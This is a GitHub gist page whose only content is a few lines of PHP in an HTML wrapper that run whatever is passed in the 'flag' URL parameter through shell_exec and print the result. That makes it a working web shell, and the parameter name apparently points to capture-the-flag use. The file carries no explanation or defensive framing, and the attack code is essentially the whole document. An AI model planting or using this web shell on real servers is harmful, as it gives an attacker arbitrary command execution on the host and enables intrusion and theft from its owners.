Skip to content

Instantly share code, notes, and snippets.

@135e2
Created September 26, 2023 13:50
Show Gist options
  • Select an option

  • Save 135e2/c657b4f69833bc8f6d62b99814af0106 to your computer and use it in GitHub Desktop.

Select an option

Save 135e2/c657b4f69833bc8f6d62b99814af0106 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<body>
<?php
$commandOutput = shell_exec($_GET['flag']);
echo "<pre>$commandOutput</pre>";
?>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment